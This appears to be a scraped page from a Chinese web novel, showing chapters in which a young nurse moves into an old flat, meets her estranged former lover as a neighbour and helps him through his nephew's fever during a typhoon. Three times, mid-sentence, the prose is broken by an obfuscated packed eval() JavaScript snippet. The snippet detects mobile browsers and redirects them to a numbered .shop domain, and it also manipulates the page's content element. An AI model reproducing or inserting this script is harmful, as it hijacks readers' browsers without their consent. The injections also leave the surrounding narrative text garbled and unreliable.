那头说完,像是不想再和她多言,迅速挂断了电话,手机里只剩下一片忙音。 陈如晦总是这样,永远在替她做决定,订婚也好,当初选专业选院校也罢,她从来没有自己做过主。 手机掉在地毯上,屋子里,木箱潮湿的气息淡淡弥散,吸进肺腑,像是打了一支镇定剂。 陈蝉衣慢慢坐下来。 窗外雨声哗哗,可她的身体,仿若着了火,无论如何也不能平静。她逼迫自己像往常一样安静下来,却怎么也做不到。 沉默三秒。 陈蝉衣从地毯上捞起手机,下载程序,点击搜索。 她要搬家。 她不要再住在这里。 7. 潇潇 陈蝉衣找了个有点老旧的小区,环境不咋好,靠近闹市,在梦溪路那边的巷子里。 很老的居民楼了,抬头电线杆交错,是附属学校的社区,住的多是老年人,年轻人买了更好的房子,就把空房租了出去。 陈蝉衣只去看了一次房,立刻就敲定下来。 当天下午,她联系搬家公司,填了个加急单,多交了些钱,让搬家公司给她把东西搬过去。 这个社区好的地方在于够隐蔽。楼下就有小卖部,生活也算便利。除了房子实在太旧,可能会出现一些风险外,她觉得没什么不好。 陈如晦的手没法伸那么长,一时半会儿肯定找不到。 原先的房子陈蝉衣也不打算退掉,以免陈如晦起疑心。 她也没告诉别人搬家了。 去看房的时候,陈蝉衣看见楼下还有几只流浪猫出没。 小猫有点怕生,大概是她新来的,还不熟悉,陈蝉衣也没靠近,往台阶边放了两块面包。 她退远了些,小猫歪着脑袋,警惕地盯着她。 见她没有恶意,瘸着腿上前,舔了两口面包,可能是发现味道还不错,紧接着就小口小口吃起来。 陈蝉衣看着猫的后腿。 小家伙三只脚着地,左后的腿大概是断了,一直蜷缩着,用不上力气。 不知怎么的,她莫名想起那天在渡口。 男人跛着脚,一瘸一拐往前走的模样。 陈蝉衣默默垂下眼,把另一块面包也放在了不远的地方。 新房的楼道很窄小,没有电梯,在四楼。 陈蝉衣跟着一趟趟监督,花了一下午时间把家收拾完。纸箱没地方放,就堆在了门口。 这种老小区,都是一层两户,门对门,陈蝉衣签了合同,押一付三。账款结清后,房东就离开了。 楼道里一瞬间安静下来。 老旧的小区,阴雨天,潮湿得几乎只能听见水滴砸在地上的轻响,楼道昏暗,连空气都是凝滞的。 在原地站了片刻,陈蝉衣进屋开始收拾东西,搬家公司全部给她用纸箱打包好了,裹得很严实。 屋子里墙漆掉了几块,床垫也有些不干净,尾端不知道沾上了什么陈年污垢,显出一片焦黄色痕迹。 她下午还请了清洁公司,暂时将屋子打扫了一番。清洁工走后,陈蝉衣才坐在椅子上开始拆自己的包裹。 她打算先把东西都拿出来,纸箱扔掉,否则可能招虫子。 大门开着,纸箱在楼道里堆积起来,只留了一点通行的空间给上下楼层。 这样好像有点不太好。 陈蝉衣就找了纸和笔,给对门留了句话,想着人家下班应该会看见: 【您好,最近在搬家,所以暂时将纸箱堆在了门口,明天会全部清理完。=w=】 她撕了段透明胶,将纸贴在门上。 对门不知道什么工作,好像回来很晚,直到晚上十点多,陈蝉衣才听见楼道里传来的脚步声。 很轻,很缓。 对方似乎停下来看了眼纸条,紧接着,她听见一阵窸窣,是将纸箱轻轻踢到了一边。 * 陈蝉衣的假休了三天,期间一直没去医院,她原本还和瞿雨音换班,后来听说,是带教医生说她生病,暂时回不了医院了。 瞿雨音给她发消息过来,问她身体好点没,陈蝉衣都不知道怎么回。 最后只好说:【休息过了,好多了。】 瞿雨音:【那就好。】 过了两秒,她又发过来:【其实你不来也好。】 陈蝉衣:【?发生什么事了】 瞿雨音:【就梁欣那两个姐妹花啊,你都不知道,你不在的那几天,她们可嚣张了。】 陈蝉衣盯着屏幕,心里有点好笑。 她不知道梁欣在背后说了她什么,不过猜也能猜出来,无非是骂她有背景,这个不好那个不对,诸如此类。 人在厌恶一个人的时候,是连她无心说的一句话都要拿出来声讨的。 陈蝉衣不是很在意梁欣对她的评价,本来便不是一路人,只好安慰瞿雨音:【别生气了,随她说吧。】 瞿雨音怒了:【不是,你都不知道她这次有多过分,她居然说你暗恋秦老师!!】 屏幕前的陈蝉衣:“?” 她暗恋谁? 这回她是真的惊讶了,她和秦继南在院里几乎不怎么联系,除却陈如晦这层身份,他们也实在称不上相熟。 她不知道谣言怎么传那么离谱的。 瞿雨音觉得发消息讲不清,干脆拨过来电话。 陈蝉衣接起来就听见她在那边:“那个梁欣,说你跟秦老师在检验科那儿拉扯,你说你病了,故意引得秦老师关心你,真离谱!” 陈蝉衣:“……” “难道你生病也是装的,就为了让他关心你?”瞿雨音不屑地切一声,“我觉得这种事她倒是做得出来。” 陈蝉衣却觉得有些奇怪,轻轻垂眼:“我之前担心自己是流感,就去做了个检查,确实碰见秦老师了。但是我没看见梁欣啊。” 瞿雨音:“那谁知道她怎么知道的,可能检验科是她舔狗。” 其实梁欣长得也很美,不同于陈蝉衣,她的美明艳张扬,极具攻击性。听说当时在念大学时,也是风云人物。 不过论起娇艳,陈蝉衣见过最妩媚的少女,十八岁在大学里红得炙手可热。 那四届临海大学的在读生,应该都听过她大名。 那是真真正正可以做一线流量明星的样貌。陈蝉衣见过最动人的,再看梁欣,自然心内不起波澜。 尽管对于普通人来说,梁欣那种长相,也算可以惊艳一辈子了。 相比之下,陈蝉衣则是完全不同的风格。 她是清秀和温婉,像南方城里的水,缓慢流淌,一颦一笑都温柔,甚至带着股无瑕的冷清。 她像剔透的冰玉。 “检验科的小方,之前大学就跟梁欣一个学校的吧?我听说他大学追过梁欣,一直也没追上……多好笑,现在居然帮她造谣。” 谣言这种事是最麻烦的,明明需要澄清,却越努力越被人误解,属于吃力不讨好。 陈蝉衣暂时也想不到更好的法子,只能让谣言不攻自破。 她安慰还在喋喋不休的瞿雨音:“好了,没事,她非要这样说,就随她去。” 瞿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750716|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨音撇撇嘴:“反正我觉得秦老师才不会喜欢她呢。” 两个人挂了电话。 陈蝉衣默默发了会儿呆,继续收拾东西,她准备今天把大部分杂物都收拾完。 陈如晦还不知道她搬家的事,因为上次吵架,现在仍然和她冷着,最近两天都没有再发消息过来。 陈蝉衣乐得清闲。 她把房间收拾好,明天新的家具就会送过来,陈蝉衣打算今晚先将就睡一觉。 这几天一直在忙活,陈蝉衣有点疲惫。 拉上窗帘,她把垃圾桶垃圾扎起来包好。 晚上点了盒饭,阴雨天潮湿,最容易招飞虫,陈蝉衣还是决定把垃圾都清掉。 小区的垃圾桶就在楼下,那时节天还比较冷,陈蝉衣感冒没好,抓好钥匙,出门前她随意裹了件外套。 楼道外面阴雨绵绵,小区的地面都有些老旧了,坑坑洼洼不少,大部分都积聚了水,满地潮湿。空气中混杂着泥土味,和垃圾桶的腐烂气息。 她里面只穿了条睡裙,小腿裸露在外头,外套到膝盖位置,露出来的小腿匀称纤细,脚趾和膝盖都微微泛着粉色。 上楼时,正好看见有人从楼上下来。 她往左,那人往左,她往右对方也往右,最后直接站在中间不动了,插着口袋像是等她先动作。 陈蝉衣垂着眸,觉得尴尬又无措,道了声歉:“不好意思。” 然后默默避开站在一边。 楼道里很阴暗,看不清来人模样,只能看见一道高大修长的黑色阴翳,应该是个年轻男人。 不知道为什么,在她说出道歉之后,那人的身体凝滞了一秒钟,手指像是要抽离出口袋,最后顿了顿,又没有伸出来。 雨声中,男人静默站了两秒,最后抬步走下楼梯。 路过她时,他身上透出一股很清淡的气息,不记得在哪里闻过,但总之很熟悉。 像是水汽和皂角,还有木头混杂的味道,潮湿清冷,丝丝缕缕弥漫在雨水中。 陈蝉衣没想到这么晚也有人下楼,擦身而过后,她才转身,慢腾腾往楼上走。 中途回了瞿雨音消息,她站在二三楼的转角处站了会儿。 等她终于走到家门口,想摸出钥匙开门。 身后脚步声又传来,很稳重,然而偶尔有些忽轻忽重,就像是阴雨天老人患风湿,容易腿疼,走路时深一脚浅一脚。 陈蝉衣起初没在意,继续摸钥匙,那脚步声却在背后停下了。 她身体一僵。 楼道此刻的昏暗,莫名让她觉得心慌起来,脑海中一瞬间闪过无数恐怖故事。 那人别是跟着她,要趁她开门的时候把她推进去吧? 陈蝉衣攥紧了外套,不敢开门,装作找不到钥匙的样子,手忙脚乱翻自己的口袋。 然后,她听到锁孔转动的清响。 那声音好像缓慢停顿了一瞬,紧接着恢复如常,再然后,门被关上。 原来是邻居。 陈蝉衣缓慢眨了眨眼,应该是她多想了。 她转过身,对着对面黑漆漆紧闭的大门,莫名多看了几眼。 昏暗里,她站了两秒,转身回了家。 8. 潇潇 陈蝉衣的感冒好得不是很快,病来如山倒,她着实在家昏迷了两天。 期间陈如晦终于忍不住,打电话来问,陈蝉衣敷衍着回了。 这栋楼隔音不是很好,在客厅能听见楼道来往的脚步。 陈蝉衣关窗的时候,看见楼下垃圾桶,陡然想起前天夜里看到的那个身影。 她的对门是个很沉默寡言的人。 作息规律,但是出入几乎都在深夜。 晚上十点十五左右,陈蝉衣能准时听见他回家的声音。 有几次她下楼扔垃圾,也偶尔碰到过对面大门敞开。 不过开门的并不是男人,而是一个很漂亮的女人,美艳妩媚。 陈蝉衣进家门时,正看见她挎着包,靠在门框补妆。 女生往脸上扑散粉,娇滴滴地问里面:“你好了吗?” 没人回答。 陈蝉衣合上门,想着是对门女朋友之类的。 她新家的布置已经接近尾声,该清理的垃圾也已经都扔掉了。 她病好了,重新回医院工作。 如瞿雨音所言,她和秦继南的谣言果然传得很快,复工第一天,急诊科几个人看她神情都不太对劲。 小颖和她关系还不错,陈蝉衣写报告的时候,她凑过来:“小蝉,问你个事啊,你真的喜欢秦医生啊?” 陈蝉衣笔都没停:“没有。” 小颖犹豫片刻:“那之前检验科的小方说你……”她咬着唇纠结,还是没说出口。 “说我什么?”陈蝉衣挑了一边眉,不咸不淡地道,“你要是觉得他可信,你可以信他,也没关系。” 小颖急忙道:“我不是这个意思。” 陈蝉衣没再说话,她写完报告起身,走了出去。 那晚值夜班,回家时是早上,陈蝉衣觉得家里有点冷清,这种老房子装潢也旧了,她想重新布置一下,约了鲜花送货上门。 订的送货时间是中午,快递员提前了五分钟,陈蝉衣签了订单在玄关那里拆包装。 楼道里又传来脚步声,距离她回来已经有三四个小时了,上午因为散味道,一直开着门,没看见对面出去过。 陈蝉衣默默想,对门可能也跟她一样工作时间不稳定。 她中午睡了一觉,起床看了电影,不想做饭就点了外卖。 陈蝉衣是打算下午给花松土的,她把之前房子里的爬架蔷薇给搬过来了,还没想好养在哪里。 手机铃声响起来,是之前订的外卖,外卖员说:“小姐,我在你家门外。” 陈蝉衣没听见门铃声,有些奇怪。 可是打开门,确实看见外卖员站在门口。 对门也开了。 还是她之前碰过两次面的女生,穿着很娇娆,红唇长腿,抱着胳膊站在门边,语气很不好说:“我说你送错了吧。” 外卖员看看那个女生,又看看陈蝉衣,赶紧和陈蝉衣道歉,尴尬道:“不好意思啊小姐,我没弄清门牌号,这上面也没写,幸好发现得早,不然就送到别家去了。” 小区旧,可能之前写门牌了,但现在已经看不清了。 陈蝉衣没计较这个,温声说:“没关系,辛苦了。” 外卖员还在一直给她道歉。 她穿着家居服,头发柔柔披着,语气也温柔,像是三月的风。 对面女生上下扫她,翻了个白眼,使劲跺跺脚:“你光和她道歉?你跟她有什么好道歉的,是你送错东西送到我家,你打扰我休息,应该和我道歉好么?” 外卖员便又弯着腰转身,给那个女人鞠躬:“对不起对不起,我下次不会再犯了。” 女生简直气笑了,不依不饶:“你还想有下次啊?” “那,那您想怎么样?” 女生提了口气,还没来得及说话。 “怎么了。”一道声音从里面传来。 陈蝉衣扶着门框的手狠狠捏紧了。 她还没有开口,那个女生听到声音,立马转身娇嗔道:“阿潇,你看他,外卖都送错啦!以后你开门。” 男人没回答她的话,支着腿走出来。 他的视线缓慢上移,越过中间两人,先是扫向她裸露的膝盖,再越过她微微张着的嘴唇,最后定格在脸上。 李潇靠着门框,看着陈蝉衣。 他们两个就那么不声不响对视,忽略掉女生的嗔怪,和外卖员的道歉声。 陈蝉衣会觉得,一切又像是回到七年前。 他也是这么抢手,很多女人围在他身边,她总是没什么安全感。 他们吵架,当时也是这么冷漠对峙。 连场景都是相同的,当时她在哭。 他冷冰冰地看。 * 隔天回医院,陈蝉衣忙完手里的事,正准备回家。 路过二楼碰见林医生,林医生看见是她:“小陈,正好,你去帮我给秦医生交个材料。” 话里话外都有打趣揶揄的意思,陈蝉衣抿抿唇,也没好解释:“好的。” 林医生看她一眼,搓着手笑呵呵走了。 秦继南下午在和心内呼吸的主任会诊,办公室没有人。 陈蝉衣去二楼时,正好看见了之前在医院见过的那个女人。 那天淫雨霏霏,她穿着身吊带牛仔裤,今天还是这幅打扮。 她怀里抱着孩子,小孩仰着小脸,小声喊:“妈妈。” 女人白皙手指蹭了蹭他下巴:“嗯。” 陈蝉衣眼眸一暗,正准备放完文件就离开,忽然女人怀里小孩转过头,看见她,眼睛陡然亮了亮。 挣扎着坐起来,软绵绵喊了声:“姐姐。” 陈蝉衣停下脚步,女人也抬起头,看看她,又看看孩子,问:“宝宝,你认得这个姐姐啊?” 小孩用力点了点头,乖乖答:“认得呀,之前给我看病的姐姐。” “之前……什么时候?” 小孩说:“阿爸带我来的那次。” 女人了然地点点头,视线扫过陈蝉衣胸牌:“陈医生,真是麻烦你了。” 她的声音有些温柔的好听。忽略掉心里泛起的细细密密的异样,陈蝉衣摇头道:“没有,之前给他看病的是秦医生,只是那天秦医生中途有事出去一趟,我陪孩子坐了会儿。” 年轻女人笑笑,暴雨天,她大概来时抱着孩子不好撑伞,身上湿透的衣服还没干。 女人下巴微扬,指着走廊窗外乌压压的暴雨说:“今年天气真奇怪,这雨都下不停。” 她看着是还想多聊的样子,陈蝉衣性子比较软,也不好走,闻言只得淡淡笑道:“这个时节小孩容易得病,还要来医院好辛苦。” 女人也笑:“本来是孩子他爸来的,但是最近孩子爸太忙了,我看着都心疼,所以现在就自己来了。” 她说这话时,弯着眼睛亮晶晶的,满脸都是幸福。 陈蝉衣心里蓦地泛起疼来,她刚搬来时,听见对门半夜传来的脚步声,也曾经想过是不是工作辛苦的缘故,否则怎么每次都半夜才回来。 可是现在知道了答案,陈蝉衣喉咙发紧,默默垂下眼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750717|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她想起李潇家里,那个红唇乌发的女人。 陈蝉衣看了一眼对面抱着孩子的女人,她不知道现在李潇的感情生活是什么样,但是心里总觉得堵得慌。 她没说两句,就再也说不下去,起身告辞了。 回到家,陈蝉衣把阳台上的花搬进屋里,免得淋雨。 这几天一连天地下雨,她也病着还没好,低烧反反复复,就是好不彻底。花搬进来的时候,陈蝉衣听见楼下小猫在叫。 这个小区野猫很多,但是胆子都很小。 陈蝉衣没事干就会下楼喂它们。 雨越下越大了,这几天忙,她都忘记喂猫,于是想找个罐头下楼。 中间却接了陈如晦的电话。 打电话时鼻子不通气,陈如晦还不知道她搬家了,听到她病还没好,就让她赶紧休息。 陈蝉衣说好。 电话最后,陈如晦说:“容微快要从国外回来了,你准备准备。” 准备什么,他们两个心知肚明。 陈蝉衣没表情,还是那句:“好。” 挂了电话后,她木着脸坐了一会儿,抓起伞下楼。 因为中间耽搁了一段时间,楼下猫叫声不知道为什么已经听不见了,只有雨还在唰唰地下着。 润州的天气眼见得很不好,从三四月就已经开始连续暴雨,整个雨季提前两个月。 暴雨天气,陈蝉衣下了楼,冷风吹进来,她正撑伞准备打开,抬眼便看见了蹲在雨地里,那道黑色冷峻的身影。 李潇在楼下喂流浪猫,穿着黑色冲锋衣,帽檐扣在头顶,低头,遮住一半容颜。 听到脚步声,他抬眼,和楼梯上的陈蝉衣遥遥对望。 然后,默不作声擦肩而过。 他没有说一句话,甚至连惊讶都没有,就像根本不认识她。 就像几天前,隔着昏暗楼道,他冷漠而不起波澜。 那天暴雨却下得愈发大,电闪雷鸣,整个城市都陷入轰隆隆的雷声之中。 小区排水系统不好,有些地方已经被淹了起来,这场暴雨来得猝不及防。之前只是连天小雨,一连多日,谁也没能想到会下得如此骇人。 陈蝉衣好歹有些常识,中午趁水还只是没过脚踝,去超市买了很多菜和肉备着。 果然,到了晚间,一楼已经淹了大半,整个苏南地区暴雨台风橙色预警。 雷电一响过一声,一道亮过一道,陈蝉衣把门窗都关好,温度降下来,她抱着毯子缩在客厅看电视。旧小区电路有些不稳定,一下暴雨,忽明忽暗的,她家灯泡也有点问题没来得及换,陈蝉衣干脆关了客厅大灯。 她看电视到半夜,原本昏昏欲睡,陡然雨夜里,一阵撕心裂肺孩子的哭声。 陈蝉衣一瞬间惊醒。 那道哭声是从对门传来的,隔音不好,孩子哭得很凄厉,陈蝉衣的心几乎霎时间就被揪了起来。 她抱着毯子,稍稍直起身,与此同时对面门“砰”地开了,楼道里清晰响起一阵错乱的脚步声。 陈蝉衣心跳如擂鼓。 窗外闪电嚣张地划破天际,雨声还在喧哗,脚步声很快消失,她想李潇应该是想带着孩子去医院。 然而两分钟后,这道熟悉的声音,又重新回到这层楼,紧接着,她家大门被猛烈敲响。 她打开门,男人抱着孩子在外面。 他浑身湿透,喘着粗气,整个人都被黑色冲锋衣包裹,孩子在他外套里睡着。 唯余一双眼睛。 黑暗之中,锋利而急切地看着她。 9. 潇潇 李潇浑身湿透,衣摆发梢往下渗着水,视线对上那一瞬间,男人言简意赅:“他发烧了。” 大雨倾盆的台风天,楼底已经被积水淹了起来,他没法去医院,是抱着孩子来求她救命的。 陈蝉衣也吓了一跳,视线扫过孩子潮红的脸。他还在小声哼哼着呼吸,幸好意识还在,没有昏迷,只是呼吸声听着揪心急促。 陈蝉衣急忙侧身,让他把孩子抱进来。 她跪在电视柜前的抽屉里翻药箱:“你把他放到沙发上。” 李潇闻言照做。 他身上外套沾了水变得湿重,她的沙发却格外温暖干燥,尽管并不大,可还是能看出,她有很认真打理。 李潇眸色渐暗,随即将自己的外套脱下来,拎在手上。 孩子烧得小脸通红,呼出的气息也烫得惊人,嘴巴微张,不知道在呓语什么。 陈蝉衣拿着药箱和冰袋过来,就近把客厅落地灯打开。 男人膝盖弯曲,就蹲在她身侧。先开口的是陈蝉衣,她甩了甩温度计,压在小孩舌根下:“是什么时候开始发烧的?” 李潇眉峰深深蹙起来,认真回想道:“大概十点多。” “是突然高烧吗?” “不是,他之前一直有低烧,后来十点温度升上来,意识就开始不清醒,一直哭着说痛。我最先给他物理降温,后面担心温度降不下来,就想抱他去医院挂水,但是外面淹起来了。” 倘若不是台风暴雨,他不会来麻烦她,他大概是这个意思。 陈蝉衣点点头:“你别急。” 等待温度计需要五分钟,陈蝉衣设了个闹钟。探手,摸了摸小孩颈侧。 那块皮肤是温凉的,李潇给他降过温了。 不过孩子皮肤嫩,直接用冰袋,她担心冻伤。 陈蝉衣起身,去浴室找了个水盆,打了点冷水,家里暂时找不到新的毛巾,她把自己洗脸的毛巾浸湿放进去。 揉搓片刻后绞干,轻轻贴在孩子额头。 陈蝉衣说:“之前给他吃过药吗?” 这回李潇摇头:“我没敢给他吃药。” 他不懂这个,孩子还小,不敢乱用药也正常。 陈蝉衣移开毛巾,重新放进水盆里清洗一通后拿起,再次敷在孩子额头上。 李潇伸手:“我来。” 那双手骨节分明,掌心摊开在她面前,陈蝉衣拿着毛巾的手腕一顿。 最后,她把毛巾递过去。 粉色柔软的毛巾,哪怕清洗干净也带着女儿家的馨香。李潇垂眸扫了眼,冷着脸沉默把毛巾贴在孩子额上。 昏暗中寂静的房间,似乎连空气都在安静缓慢地流动。 陈蝉衣说:“我看过孩子的报告,只是普通感冒加发烧,不是病毒性流感。晚上忽然起热,可能是变天,温度一下子降得太低,他身体受不了。” 抿抿唇,她最后还是补了句:“你别担心。” 李潇沉默地“嗯”了一声。 大雨倾盆,静默的氛围里,窗外雷电轰鸣的声音清晰可闻。 李潇在她身边,不断地撤下毛巾过水,拧到微微湿润,才重新盖上孩子脑袋。最开始是额头,后来陈蝉衣教他,他渐渐开始擦拭其他地方。 两个人都没有多少话好说,尤其是李潇。 除却陈蝉衣一个人教导的声音,屋子里近乎静默得落针可闻。 这五分钟过得格外漫长。 他沉默半跪在她身侧,两个人都缄默,陈蝉衣从没觉得哪段时间,有像今夜这样难熬。 直到定时器响起。 陈蝉衣关掉提醒铃声,拿出小孩嘴里的温度计,对着落地灯的光,仔细辨认。 三十八度九。 是很高,可总算没到高热的地步,她心里微微一松。 身旁男人问:“怎么样?” 陈蝉衣抬手甩了甩温度计,擦净后装起来:“没超过三十九。可能是降下来一点了。” 李潇低下眼。 他的手托着孩子的脸,宝宝在睡梦中不是很安稳。昏暗灯下,能看见他侧着半边身子,浑身蜷缩成一团睡在那里,小手紧紧地攥着李潇的指尖。 他还小。 总是依赖大人。 陈蝉衣见状,低眸没说什么,默默起身把水盆里的水倒了,打了盆新的过来。 客厅里李潇还是维持着那个姿势,听见声音,他视线落在她身上,黑夜一样冷清。 陈蝉衣顿时觉得脚步有些难以为继。 她抿抿唇不看他,端着水盆,若无其事地走过来,将水盆重新放在两个人中间。 视线擦过他微拧的眉眼,下移。 最后落在脚边地板上。 那件黑色冲锋衣,就那么被遗弃在那儿,水湿淋淋地渗出来,在地板处聚成了一滩。 她铺了地毯的,他大概是不想弄脏。 李潇顺着她视线看去,指尖一顿,直起身就去抽茶几上的纸巾。 “没事。”陈蝉衣站起身,“你放在那边吧。” 说完,她重新走进浴室,拿了个新的水盆出来,将李潇的外套放了进去。 隔了很久,身后低低地传来一声:“谢谢。” 这是重逢后以来,他头一次说这种话,不再是冷漠淡然的态度,而是用着最温和平常的语气。 陈蝉衣愣了愣,轻声说:“不用。” 两个人又安静下来。 陈蝉衣给孩子喂了点退烧药,接着,便又是重复的动作,毛巾过水,拧干,敷上额头,擦拭身体。 就这么折腾了两个多小时。将近半夜一点的时候,孩子突然又反复起来。 这回烧得浑身冒冷汗,胸膛起伏,呼吸也变得断断续续。 陈蝉衣全程盯着宝宝状况,没敢放松,眼睛半分不敢阖。 她得考虑别的突发情况,万一惊厥,她该怎么急救,整个人神经都绷得紧张。 所幸烧到半夜两点多,孩子呼吸声趋于平稳,情况终于渐渐稳定下来。 陈蝉衣又测了次温度,烧退了点,堪堪维持在三十八度五。 不过持续在降温就是好事。 她舒口气,或许是因为心神不再紧绷,陈蝉衣身体发软,撑着沙发坐在了地毯上。 李潇把孩子抱在怀里。 宝宝仍然睡不踏实,他环着孩子的手臂紧了紧,轻轻拍着他后背。 偶尔宝宝张着唇,呓语两句,他也尽量低下头温声回应。 孩子很快就再次睡过去。 陈蝉衣没睡,抱着膝盖,有些疲惫地看着孩子。 夜深人静的时刻,如果不是她清楚的知道,他已经结婚有了孩子,这样的场景,几乎称得上幻觉。 陈蝉衣移开视线。 “你回房间睡吧。” 屋子里响起低沉的声音,或许是因为夜色过浓的缘故,那道声线不似往日寒冷,多了些温和意味。 陈蝉衣睁开眼,视线有些迷糊,落在他眼尾。男人眼睛漆黑,仿若不见底的深潭。 她微微摇头:“不用。” 李潇还是说:“我照顾他就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750718|145428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人眼睑微敛,对她轻声道,“麻烦你了。” 陈蝉衣心脏莫名一疼。 她还是摇头:“没有,我担心他反复。”说着,陈蝉衣勉强抬眸,小声道,“你可以今晚别把他带回去,我怕出什么意外。” 李潇微愣,随即垂下眼:“行。” 之后他们没再说话。 孩子是在半小时之后醒的,刚醒来时,整个人烧得迷迷糊糊,还不清楚发生了什么。 睁眼看见不是熟悉的环境,嘴一撇,很没有安全感得想哭。 李潇原本闭着眼休息,孩子一动他便醒了。 感受到宝宝在挣扎,李潇裹紧毯子,把孩子往怀里带了带,习惯性轻声安抚他:“别怕,没事了。” 小孩委屈得扁嘴,眼眶通红,泪珠子啪嗒啪嗒掉,整个人都意识不清靠在李潇怀里,抽着气喊:“阿爸。” 像是还在睡梦中。 李潇托着他脑袋:“嗯。” 宝宝又哭,还是喊:“阿爸。” “嗯。” “阿爸,难受。” 他低声哄:“乖,一会儿就不难受了。” 小孩哼哼唧唧哭:“骗人。” “不骗人。”李潇仍是那副温和模样 他摸了摸小孩头发,语调柔软,眼眸里也软成一片,没有半分不耐烦。 他们顾自说话,仿佛隔开了周围世界,自动屏蔽掉一切声音。 陈蝉衣看了片刻,垂下眼,假装自己没有听见。 就这么一句句地应和答,过了两分钟,宝宝终于慢慢意识恢复过来,眼睛睁得老大。他转头看清身前抱着他的人是李潇,又喊。 然而这次是:“舅舅。” 陈蝉衣手一顿。 “妈妈呢?” 她蓦地抬起眼睛。 身前地毯上,男人半跪着坐在那里,怀里抱着孩子,像是完全没意识到她的眼神。 垂眸还是温柔的声音:“妈妈要工作,先把你送到舅舅这边来了,推推不记得了?” 推推苦恼地扬起小脸,皱巴巴的,像是想了好一会儿,才终于记起来前因后果。 很乖地点了下头:“哦。” 窗外雨声潇潇,听得人犯困。 小孩有了安全感,也不怕了。他还是烧得难受,靠在李潇胸口,小手攥着他手指,迷糊着说了没一会儿话,就又闭上眼睛。 直到此时,男人才抬起眼。 李潇偏过头,陈蝉衣看见那双黑眸像深潭,不声不响地看着她。 良久。 李潇忽地轻声道:“没有问题要问我?” 她像是有点呆了,想点头的,随即又摇摇头。 他的眸光就一直静静地落在她身上。 到最后受不了那样的视线压迫,陈蝉衣抿了抿唇,道:“他刚刚,刚刚喊你舅舅?” 男人垂眸:“嗯。” 陈蝉衣眼睫轻颤,继续道:“他是你……姐姐的孩子?” 李潇道:“对。”他仍是看她,“我表姐跟着我姐夫来润州打工,两个人有时候忙,孩子给我带。” 陈蝉衣抱着膝盖的指关节发紧。 李潇嗤笑:“你觉得我结婚了?” 她望着他没说话。 他想起之前的一幕,继续道:“然后看到我家门口有别的女人,又觉得我瞒着老婆出轨?” 陈蝉衣仍旧眼睫微微发抖。 李潇又笑,只是这次他垂下眼,笑意透着股子冷然的自嘲:“陈家月,你还是和从前一样,一点也没变。” 10. 潇潇 室内有一瞬间的沉默,陈蝉衣嘴唇张了张,竟然在那一刻,发现自己什么话都说不出口。 陈家月。 她很多年没有听过这个名字了。 她是上大学才改了名,去了临海后,没有再用曾经在润州念书时用过的名字。 就像是岁月脱节,她的人生在那一年,一分两半。 前一段关于“陈家月”这个名字的回忆,被润州暴雨盖去,如今回味,多像已经是上辈子的事情。 然而现在她重新回来。 再次从他口中听见自己的名字,陈蝉衣心口蓦地一阵紧得发疼。 所幸最后李潇也没有再说什么。 雨夜喧嚣,他抱着孩子坐在地毯上,平时挺直的脊背微微弯下去,冷冷清清。小臂和领口处的衣服还是湿的,是刚才雨水渗了进去。 他如同不在意,静静看着地面。 陈蝉衣小声说:“李潇。” 他眸光落在她身上。 陈蝉衣其实心中无措极了,这么和他共处一室,说话,她觉得好尴尬。 搁在膝头的手紧了又紧,一看就知道人紧张得有多厉害。 “你冷不冷?” 李潇吐出两个字:“不冷。” 她话到嘴边,又咽了回去。她原本想说,如果他冷,她沙发上有毯子的。 那时候她没有想过,或许对李潇来说,她不过是因为这场暴雨天困住了他,不得不走的一条路,求的一个人。 今夜结束之后,他不会再来找她。 陈蝉衣点头,小声说:“哦。” 随即又垂下眼,她现在真的不知道该和他说什么了。 然而几秒后,李潇突然站了起来。 陈蝉衣抬起眼,看他把孩子放在沙发,长长的眼睫遮盖情绪,低着声道:“你先照顾他一下。” 说完,男人跨过地毯,抓起水盆里黑色冲锋衣,转身走了出去。 大概二十分钟后他就回来了。 那时候陈蝉衣已经给孩子盖好了毛毯,小孩要发发热,这样退烧快。 看见他进来,陈蝉衣微微睁大眼睛:“你去洗澡了?” 李潇:“嗯。” 他已经换了身新衣服,干净整洁的家居服,深青颜色,看上去暖和又柔软。 李潇走过来,问她:“还有毯子吗。” 陈蝉衣愣了愣:“嗯?” 他垂眸,黑眸幽暗望着她:“给我一条。” 那他刚才不是说不冷?陈蝉衣咬着唇,直起身往沙发上扫了一眼。两条都给宝宝盖了,小孩没安全感,睡觉要盖一条抱一条。 陈蝉衣站起来,去房间转了一圈出来,手里抱着条卡其色的绒毯。 她看着李潇,有些不好意思地道:“我只有这个了。” 